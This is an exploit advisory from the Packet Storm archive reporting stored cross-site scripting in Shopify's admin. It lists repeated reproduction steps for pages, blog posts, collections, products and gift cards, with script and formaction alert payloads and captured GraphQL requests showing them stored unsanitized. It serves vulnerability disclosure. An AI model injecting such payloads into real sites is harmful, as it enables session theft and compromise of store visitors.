what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Shopify Cross Site Scripting

Shopify Cross Site Scripting
Posted Mar 13, 2023
Authored by Andrey Stoykov

Shopify suffers from a cross site scripting vulnerability.

tags | exploit, xss
SHA-256 | dcca389f2f44bc6e6960d4aefe61cbb9c3906a55351986f2a658754795ce9f62
Download | Favorite | View

Shopify Cross Site Scripting

Change Mirror Download
Correspondence from Shopify declined to comment regarding new discovered
vulnerabilities within their website.

Although 'frontend' vulnerabilities are considered out of scope,
person/tester foundhimself a beefy bugbounty from the same page that has
been listed below, including similar functionality that has not been tested
yet.

Two emails and several  reports, the 'hacker-1' staff reject the bid for
findings.


Online Store -> Pages -> Add Page -> Title -> Title_Name -> Content ->
Paste Payload -> <script src=1 href=1
onerror="javascript:alert(1)"></script>-> Show HTML -> Fix HTML encoding of
tags from

<script src=1 href=1 onerror="javascript:alert(1)"></script>

<script src=1 href=1 onerror="javascript:alert(1)"></script>


1. Browse to Online Store
2. Select Pages ->  Add Page
3. Set Title -> Title_Name
4. Set Content -> Paste Payload -> <script src=1 href=1
onerror="javascript:alert(1)"></script>
5. Select Show HTML
6. Fix HTML encoding of tags

<script src=1 href=1 onerror="javascript:alert(1)"></script>

<script src=1 href=1 onerror="javascript:alert(1)"></script>


// HTTP POST request showing XSS payload

POST /admin/online-store/admin/api/unversioned/graphql?operation=PageUpdate
HTTP/2
Host: test-img-src-x-onerror-alert1-test.myshopify.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0)
Gecko/20100101 Firefox/108.0
[...]

[...]
"page":{"bodyHtml":"<script src=1 href=1
onerror=\"javascript:alert(1)\"></script>"
[...]


// HTTP response

HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
[...]

[...]
page":{"id":"gid://shopify/OnlineStorePage/...","body":"<script src=\"1\"
href=\"1\"
onerror=\"javascript:alert(1)\"></script>\n\ntest","title":"Title_Name"
[...]


Online Store -> Blog Posts -> Add Blog Post -> Title -> Blog_Title ->
Content -> Paste Payload -> <form><button
formaction="javascript:javascript:alert(1)">X </button></form> -> Show HTML
-> Fix HTML encoding of tags from
<p><form><button
formaction="javascript:javascript:alert(1)">X</button></form></p>
to <p><form><button formaction="javascript:javascript:alert(1)">X<br
/></button></form></p>

1. Browse to Online Store
2. Select Blog Posts -> Add Blog Post
3. Set Title -> Blog_Title
4. Set Content -> Paste Payload -> <script src=1 href=1
onerror="javascript:alert(1)"></script>
5. Select Show HTML
6. Fix HTML encoding of tags

<script src=1 href=1 onerror="javascript:alert(1)"></script>

<script src=1 href=1 onerror="javascript:alert(1)"></script>


// HTTP POST request showing XSS payload

POST
/admin/online-store/admin/api/unversioned/graphql?operation=ArticleUpdate
HTTP/2
Host: test-img-src-x-onerror-alert1-test.myshopify.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0)
Gecko/20100101 Firefox/108.0
[...]

[...]
"article":{"blogId":"gid://shopify/OnlineStoreBlog/...","body":"<script
src=1 href=1 onerror=\"javascript:alert(1)\"></script>"
[...]


// HTTP response showing unsanitized payload

HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
[...]

[...]
"article":{"id":"gid://shopify/OnlineStoreArticle/...","title":"Blog_Title","body":"<script
src=\"1\" href=\"1\"
onerror=\"javascript:alert(1)\"></script>\n","handle":"blog_title-2"
[...]


Products -> Collections -> Create Collection -> Title -> Product_Title ->
Description -> Paste Payload -> <form><button
formaction="javascript:javascript:alert(1)">X </button></form> -> Show HTML
-> Fix HTML encoding of tags from
<p><form><button
formaction="javascript:javascript:alert(1)">X</button></form></p>
to <p><form><button formaction="javascript:javascript:alert(1)">X<br
/></button></form></p>

1. Browse to Products
2. Select Collections -> Create Collection
3. Set Title -> Collection_Title
4. Set Content -> Paste Payload -> <script src=1 href=1
onerror="javascript:alert(1)"></script>
5. Select Show HTML
6. Fix HTML encoding of tags

<script src=1 href=1 onerror="javascript:alert(1)"></script>

<script src=1 href=1 onerror="javascript:alert(1)"></script>


// HTTP POST request showing XSS payload

POST
/admin/internal/web/graphql/core?operation=CreateCollection&type=mutation
HTTP/2
Host: test-img-src-x-onerror-alert1-test.myshopify.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0)
Gecko/20100101 Firefox/108.0
[...]

[...]
"collection":{"title":"Collection_Title","descriptionHtml":"<script src=1
href=1 onerror=\"javascript:alert(1)\"></script>"
[...]


// HTTP response showing unsanitized payload

HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
[...]

[...]
"collection":{"id":"gid://shopify/Collection/...","title":"Collection_Title","descriptionHtml":"<script
src=\"1\" href=\"1\" onerror=\"javascript:alert(1)\"></script>"
[...]


Products -> Inventory -> View Products -> Double Click on Product -> Title
-> Inventory_Title -> Description -> Paste Payload -> <form><button
formaction="javascript:javascript:alert(1)">X </button></form> -> Show HTML
-> Fix HTML encoding of tags from
<p><form><button
formaction="javascript:javascript:alert(1)">X</button></form></p>
to <p><form><button formaction="javascript:javascript:alert(1)">X<br
/></button></form></p>

1. Browse to Products
2. Select Inventory-> View Products
3. Select Product -> Title -> Product_Title
4. Set Description  -> Paste Payload -> <script src=1 href=1
onerror="javascript:alert(1)"></script>
5. Select Show HTML
6. Fix HTML encoding of tags

<script src=1 href=1 onerror="javascript:alert(1)"></script>

<script src=1 href=1 onerror="javascript:alert(1)"></script>


// HTTP POST request showing XSS payload

POST /admin/internal/web/graphql/core?operation=UpdateProduct&type=mutation
HTTP/2
Host: test-img-src-x-onerror-alert1-test.myshopify.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0)
Gecko/20100101 Firefox/108.0
[...]

[...]
"product":{"descriptionHtml":"<script onerror=\"javascript:alert(1)\"
href=\"1\" src=\"1\"></script>","workflow":"product-details-update"
[...]


// HTTP response showing unsanitized payload

HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
[...]

[...]
"product":{"id":"gid://shopify/Product/...","title":"Product_Title","handle":"product_title","descriptionHtml":"<script
onerror=\"javascript:alert(1)\" href=\"1\" src=\"1\"></script>"
[...]




Products -> Add Product -> Title -> Product_Title -> Description -> Paste
Payload -> <form><button formaction="javascript:javascript:alert(1)">X
</button></form> -> Show HTML -> Fix HTML encoding of tags from
<p><form><button
formaction="javascript:javascript:alert(1)">X</button></form></p>
to <p><form><button formaction="javascript:javascript:alert(1)">X<br
/></button></form></p>

1. Browse to Products
2. Add Product -> Title -> Product_Title
3. Set Description -> Paste Payload -> <script src=1 href=1
onerror="javascript:alert(1)"></script>
4. Select Show HTML
5. Fix HTML encoding of tags


<script src=1 href=1 onerror="javascript:alert(1)"></script>

<script src=1 href=1 onerror="javascript:alert(1)"></script>


// HTTP POST request showing XSS payload

POST /admin/internal/web/graphql/core?operation=UpdateProduct&type=mutation
HTTP/2
Host: test-img-src-x-onerror-alert1-test.myshopify.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0)
Gecko/20100101 Firefox/108.0
[...]

[...]
"product":{"descriptionHtml":"<p>&nbsp;</p>...\"><script src=1 href=1
onerror=\"javascript:alert(1)\"></script>\n</code></pre>"
[...]


// HTTP response showing unsanitized payload

HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
[...]

[...]
"title":"Gift_Title","><script src=\"1\" href=\"1\"
onerror=\"javascript:alert(1)\"></script>\n</code></pre>",
[...]



Products -> Gift Cards -> Add Gift Card Products -> Gift_Title -> Paste
Payload -> <form><button formaction="javascript:javascript:alert(1)">X
</button></form> -> Show HTML -> Fix HTML encoding of tags from
<p><form><button
formaction="javascript:javascript:alert(1)">X</button></form></p>
to <p><form><button formaction="javascript:javascript:alert(1)">X<br
/></button></form></p>

1. Browse to Products
2. Select Gift Cards
3. Add Gift Card Products -> Gift_Title
4. Set Description -> Paste Payload -> <script src=1 href=1
onerror="javascript:alert(1)"></script>
5. Select Show HTML
6. Fix HTML encoding of tags


<script src=1 href=1 onerror="javascript:alert(1)"></script>

<script src=1 href=1 onerror="javascript:alert(1)"></script>


// HTTP POST request showing XSS payload

POST /admin/internal/web/graphql/core?operation=CreateProduct&type=mutation
HTTP/2
Host: test-img-src-x-onerror-alert1-test.myshopify.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0)
Gecko/20100101 Firefox/108.0
[...]

[...]
"product":{"title":"Gift_Title","descriptionHtml":"<script src=1 href=1
onerror=\"javascript:alert(1)\"></script>"
[...]


// HTTP response showing unsanitized payload

HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
[...]

[...]
"title":"Gift_Title","handle":"gift_title-1","descriptionHtml":"<script
src=\"1\" href=\"1\" onerror=\"javascript:alert(1)\"></script>"
[...]



1. Browse to /admin/pages
2. Template -> Add Section -> Contact Form -> Heading -> XSS Payload
3. Online Store -> Pages -> Add Page ->

<form><button formaction="javascript:javascript:alert(1)">X</button></form>

https://test-img-src-x-onerror-alert1-test.myshopify.com/admin/settings/notifications

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    16 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Site Links
News by Month
News Tags
Files by Month
File Tags
File Directory
About Us
History & Purpose
Contact Information
Terms of Service
Privacy Statement
Copyright Information
Services
Security Services
Hosting By
Rokasec
close